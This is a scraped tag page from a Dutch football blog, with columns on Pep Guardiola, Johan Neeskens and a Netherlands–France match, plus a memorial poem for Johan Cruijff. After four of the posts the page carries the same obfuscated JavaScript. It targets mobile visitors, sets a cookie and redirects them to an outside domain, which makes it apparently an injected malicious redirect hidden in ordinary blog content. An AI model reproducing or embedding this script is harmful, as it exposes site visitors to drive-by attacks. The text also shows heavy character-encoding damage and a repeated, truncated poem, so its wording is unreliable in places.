Feeds:
Berichten
Reacties

Posts Tagged ‘Johan Cruijff’

Het was een ontluisterend beeld. Jongstleden zondag werd Manchester City met 4-0 afgedroogd door Ronald Koemans Everton en de BBC-camera richtte zich een wijle op Pep Guardiola. De alom bejubelde coach zat erbij alsof-ie z’n laatste oortje had versnoept. Licht onderuitgezakt staarde Pep wezenloos en schijnbaar radeloos voor zich uit. In niets deed hij herinneren aan de maniakaal gedreven coach die als een bezetene, gesticulerend als een gedrogeerde muziekdirigent, langs de lijn tekeerging. Hoewel ik dit laatste altijd zowel lachwekkend als a-typisch heb gevonden voor de aimabele, intelligente en, zeker voor voetbalbegrippen, erudiete Guardiola.

opi-mazuroLangzaam maar zeker verdampt evenwel het aureool rondom de succesvolle en bewierookte voetbaltrainer. Een aureool dat hij toch vooralA�te danken heeft aan zijn trainerschap bij FC-Barcelona, waarin hij de voetbalwereld versteld liet staan. Met one-touch positie- en combinatiespel en pressing zonder weerga. Nooit was er een ploeg die na (zeldzaam) balverlies het ‘leder’ weer zA? snel heroverde. Ook daarna – incluis Peps latere clubs – niet. Het hoogstaande tiki-taka-voetbal zou je nog op het conto van (de intrinsieke klasse van) zijn spelers kunnen schrijven, maar die pressing is toch echt Guardiola’s verdienste. Ook al zegt-ie schatplichtig te zijn aan Cruijff en impliciet aan hetA�totaalvoetbal van Ajax en Oranje beginjaren zeventig. Maar de wijze waarop BarA�a die pressing perfectioneerde, is ongeA�venaard.

Toch, Cruijff en Michels indachtig, dringt de vraag zich op in hoeverre de status van de coach Guardiola niet mede gebaseerd is op, zo niet afhankelijk is van, hetA�uitzonderlijke talent vanA�Messi, en van Iniesta en Xavi in wellicht iets mindere mate. Zoals menigeen ervan overtuigd is dat Michels, Ajax en Oranje ‘slechts’ konden gloriA�ren bij de gratie van Cruijff en enkele ijzersterke vazallen, zo kun je je afvragen of zulks ook niet bij Guardiola het geval is. De ‘mindere’ resultaten alsook spelkwaliteit van zijn latere clubs Bayern MA?nchen en Manchester City lijken deze theorie te staven. Ik vind het in elk geval verrassend, maar ookA�teleurstellend dat Pep er tot dusver niet in is geslaagd om zijn Barcelona-niveau – op een korte periode bij Bayern na – ook maar enigszins te benaderen. Ook al had en heeft-ie daar geen Messi, aan het spelersmateriaal A�n het budget kan het bij beide clubs niet gelegen hebben.

Vooralsnog gunnen we Josep Guardiola het voordeel van de ontstane twijfel, maar met onderstaand beeld op het netvlies is de vraag gerechtvaardigd.A�Is PepA�nog wel op te peppen?

pep-guardiola

– De in gedachten verzonkenA�Pep komt van mirror.co.uk

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Ofschoon fysiek onomkeerbaar afwezig, was Johan Cruijff de afgelopen weken als vanouds alom aanwezig. En met hem talloze personen die met of zonder reden iets met hem (te maken) hebben (gehad). Hierbij tekende zich een opmerkelijk patroon af: hoe meer ze Cruijff te na stonden, des te meer afwezig ze waren. Sjakie Swart en Frits Jelle Barend niet te na gesproken. Johan Derksen had een Cubaans alibi. Maar waar was bijvoorbeeld Piet Keizer, de andere helft van de toentertijd schier Siamese tweeling? Cruijff-Keizer, ze werden in A�A�n adem genoemd. Gelijk Bram & Freek, Puk & Muk, Abott & Costello. Dat hun wegen en vooral geesten zich na het Gouden Ajax-tijdperk scheidden, doet niets af aan hun subtiele symbiose destijds. De mediaschuwheid van Keizer ten spijt hadden we toch maar wat graag meer willen vernemen van zijn belevingen met Cruijff en over diens heengaan.

obs-mazuroDA� grote afwezige in dit geheel was echter Johan Neeskens. Johan II. Johan Segundo. De Nees. Cruijffs trouwste adjudant en klusjesman. Voor nog veel meer geloofsbrieven en superlatieven raad ik u aan om deze column van twee jaar geleden te lezen, eentje van gelijke strekking. Want weet er A?berhaupt iemand waar en hoe het met Neeskens is? Ik kan het natuurlijk hebben gemist, maar er schiet mij geen enkel interview of citaat van De Nees over de abrupte dood van Cruijff te binnen. Natuurlijk, hij heeft de mediaschuwheid met Keizer gemeen. Maar zelfs vanuit Barcelona, waar de twee-eenheid Cruijff-Neeskens minstens zo vanzelfsprekend was als die van Cruijff-Keizer hier, bereikte mij geen enkel bericht van Johan Segundo in relatie met het hemelen van El Salvador.

Zou er iets zijn voorgevallen tussen de twee, waardoor ze uit elkaar zijn gegroeid en niet meer on speaking terms waren? Gebrouilleerd? Het zou passen in de Cruijff-modus, waarin animositeit en verdeeldheid gebroederlijk optrokken met virtuositeit en generositeit. Terwijl Neeskens nou niet bepaald vooraan stond toen communicatieve en sociale vaardigheden werden uitgedeeld. Het laatste, traceerbare nieuws over deze commando op kicksen dateert van december 2012.

Nees-Cruijff portret05Maar toch. Het wringt. Het schuurt. Het bevreemdt. Al valt natuurlijk niet uit te sluiten dat Pietje en Johan II rustig wachten tot de publiciteitsstorm en -hype zijn gaan liggen en dat ze dan alsnog hun licht laten schijnen over het voetballeven in de onontkoombare schaduw van Nummer 14. Ik zou met liefde en plezier hun verhalen optekenen, maar als bescheiden Voetblah-scribentje annex Staantribune-medewerker maak ik weinig kans. Toch moeten er ervaren journalisten zijn die nog op goede voet staan met de heren en met Neeskens in het bijzonder. Ik denk dan aan Guus van Holland. Of Jaap Visser? Edwin Winkels wellicht? De tafel van Kees staat al voor ‘m gedekt.

Want ik zal me pas echt kunnen verzoenen met Cruijffs dood als De Nees heeft gesproken.

– het nostalgische plaatje waarop de Johannen er zichtbaar plezier in hebben, komt vanA�degoeieouwetijd.nlvar _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Voetblah is geen gesloten gemeenschap van sektarische scribenten. Integendeel, we staan zeer positief tegenover Appie-Happie-spitsen en gouden wissels. Met dien verstande dat gastspelers in eerste instantie op amateurbasis voor ons uit zullen komen.
Vandaag de tweede gastopinie vanA�Lex Muller, al
A�meer dan vijftig jaar sportjournalist. Sinds 2011 is Lex freelancer als schrijver op allerlei gebied. Toch zal hij bij menigeen vooral bekend zijn als de man die in 1994 met een grap over een bom het vliegtuig met Oranje urenlang aan de grond hield in Orlando. Volgens Lex zelf een broodje-aap-verhaal, dus tekende hij zijn eigen versie op in het boekA�a�?Een wandelende tijdboma��.

dos-lexHet was alsof Johan Cruijff het Nederlands voetbal nog A�A�n keer wilde waarschuwen. Binnen veertien minuten toonde Frankrijk zijn suprematie in de ArenA. Het stond al 0-2 toen het stadion losbarstte in het eerbetoon aan de overleden legende. Vanaf een wolk keek hij toe en schudde het wijze hoofd over de verkeerde tactiek van Oranje. Wat een gotspe! 5-3-2 in plaats van het door hem altijd gepredikte 4-3-3.A�Bondscoach Danny Blind wilde het volk bewijzen dat spelen met een versterkte defensie beter past bij de huidige generatie internationals. Het was vragen om nog meer moeilijkheden. De verdedigers snapten de opdrachten niet en devalueerden de eerste helft tot een lachertje. Ze dekten elkaar in plaats van de andere kleur.

Het Franse elftal, A�A�n van de favorieten voor het EK, wilde de speciale wedstrijd nou ook weer niet grondig bederven. Het volstond met een bescheiden voorsprong tot aan de rust. Er waren nog wel meer goede kansen op een derde treffer, maar vooralsnog was 2-0 genoeg. Temeer omdat de tegenstander, afgezakt naar de middenmoot op de FIFA-ranglijst, geen fatsoenlijke aanval kon bedenken.A�Het eerste deel in Amsterdam was beschamend als vertoning en een belediging voor het erfgoed van Johan Cruijff. Drie kwartier lang bespotte Oranje het totaalvoetbal, mede zijn uitvinding in de jaren zeventig bij Ajax en op het WK van 1974 in West-Duitsland. Verder dan ooit nam een coach afstand van Cruijffs filosofie over het spel.

In de pauze keerde Blind op zijn dwaling terug. Hij schakelde terug op 4-3-3, onder het mom dat spelers dat gemakkelijk doorgrondden en herkenden. De avond kreeg daardoor nog een beetje spanning en vermaak. De Fransen hadden inmiddels hun uitblinkers al gewisseld en toonden meer en meer medeleven met de diep gezonken nummer drie van de wereld.A�Het mocht nog wel even 2-2 worden, mede dankzij de Duitse scheidsrechter Felix Zwayer, die beleefd wegkeek bij de handsbal van Luuk de Jong. Als beloning voor het bijgestelde systeem en de durf om wat meer voorwaarts aan te vallen. De gelijkmaker van Ibrahim Afellay droeg hij persoonlijk op een waardige wijze nog op aan Johan Cruijff, wiens intense invloed hij van nabij had geproefd bij Barcelona.

14-2525Maar Oranje verdiende geen 2-2 tegen Frankrijk, dat lichtjaren voorstaat in de opbouw van een topformatie. Met een coryfee als de pas 23-jarige Paul Pogba, die in de geest van Johan Cruijff zijn kwaliteiten aanwendde om te winnen en zelden wegvluchtte in risicoloze en achterwaartse acties. Het symbool van alles wat het Nederlands voetbal stilaan tekortkomt. En straks de te vrezen plaaggeest in de kwalificatie voor het WK.A�Pogba was net naar de kant gehaald, toen de Fransen nog A�A�n keer de energie opporden voor een laatste counter in hun niemendalletje in de ArenA. Blaise Matuidi, gezegend met het nummer 14 op de rug omdat toeval nu eenmaal niet bestaat in de sport, sloeg simpel toeA�Op bevel dus van Johan Cruijff, die logischerwijs het Nederlands elftal niet ongestraft wilde laten wegkomen met een geflatteerde score.

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

obs-mazuro

Wie bij mij normaal timet, komt te laat
Geparafraseerd, maar Cruijff-jargon
Het zegt precies waar het om gaat
Waarom je nimmer om hem heen kon

Omdat hij wA�l om iedereen heen kon
Op en buiten elk terrein
Dat als a�� maar ook hoe – je heel graag won
je creatief A�n doelgericht moest zijn

Mijn onversneden Cruijff-verering
komt uit mijn voetbaltechnisch hart
Een oergevoel, geen beredenering
omdat de mens Cruijff mij verwart

Me zelfs met tijden tegenstond
al lag dat vaak toch ook aan mij
Snel als ik klaarstond met mijn mond
en ik graag wilde zijn als hij

Uniek, rebels en eigenzinnig
broedend op effectbejag
Verbaal en ballend lekker vinnig
omdat hij alleen a�� en ik a�� het zag

Met Pietje jonglerend, carambolerend
Allerlei soorten van effect
Op alle fronten druk docerend
Balontvankelijk onbevlekt

Cruijff, Hendrik Johannes, fenomeenCruijffie f6f8faa757025e7cc669c5fbde495753
– met dank aan Nico Scheepmaker a��
had niet slechts een linker- en rechterbeen
maar was als snelle voetbalschaker

zelfs vierbenig toegerust
Omdat hij de bal met beide benen
met binnen- en buitenkant heeft gekust
Zwanger effect zat in zijn genen

Dus ik trapte geen bal meer recht vooruit
Gaf werkelijk overal een draai aan
Had zowat hetzelfde haar en snuit
Zelfs mijn benen gingen krom staan

Ook ik was eigenlijk een scharminkel
Ofschoon een tikkeltje te groot
maar waande me, als boerenkinkel
toch min of meer een soortgenoot

Nu hij van ons is heengegaan
besef ik, het was sublimatie
Jeugdige overmoed of grootheidswaan
maar geen ander had zA? mijn adoratie

Zovelen die zijn overleden
Doden die diep worden betreurd
Het is veelal van me afgegleden
Beschaamd heb ik mezelf bekeurd

Dat dit me zo heeft aangegrepen
ontlokt ook mijn verontwaardiging
Dat ik zo nodig nu moet dwepen
en selectief ben in benadering

Och, het zal Johan geenszins deren
Hij dartelt nu daarboven rond
Terwijl hij Bowie tracht te leren
hoe je controle krijgt op voetbalgrond

 

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Wie bij mij normaal timet, komt te laat
Geparafraseerd, maar Cruijff-jargon
Het zegt precies waar het om gaat
Waarom je nimmer om hem heen kon

Omdat hij wél om iedereen heen kon
Op en buiten elk terrein
Dat als – maar ook hoe – je heel graag won
je creatief én doelgericht moest zijn

Mijn onversneden Cruijff-verering
komt uit mijn voetbaltechnisch hart
Een oergevoel, geen beredenering
omdat de mens Cruijff mij verwart

Me zelfs met tijden tegenstond
al lag dat vaak toch ook aan mij
Snel als ik klaarstond met mijn mond
en ik graag wilde zijn als hij

Uniek, rebels en eigenzinnig
broedend op effectbejag
Verbaal en ballend lekker vinnig
omdat hij alleen – en ik – het zag

Met Pietje jonglerend, carambolerend
Allerlei soorten van effect
Op alle fronten druk docerend
Balontvankelijk onbevlekt

Cruijff, Hendrik Johannes, fenomeen
– met dank aan Nico Scheepmaker –
had niet slechts een linker- en rechterbeen
maar was als snelle voetbalschaker

zelfs vierbenig toegerust
Omdat hij de bal met beide benen
met binnen- en buitenkant heeft gekust
Zwanger effect zat in zijn genen

Dus ik trapte geen bal meer recht vooruit
Gaf werkelijk overal een draai aan
Had zowat hetzelfde haar en snuit
Zelfs mijn benen gingen krom staan

Ook ik was eigenlijk een scharminkel
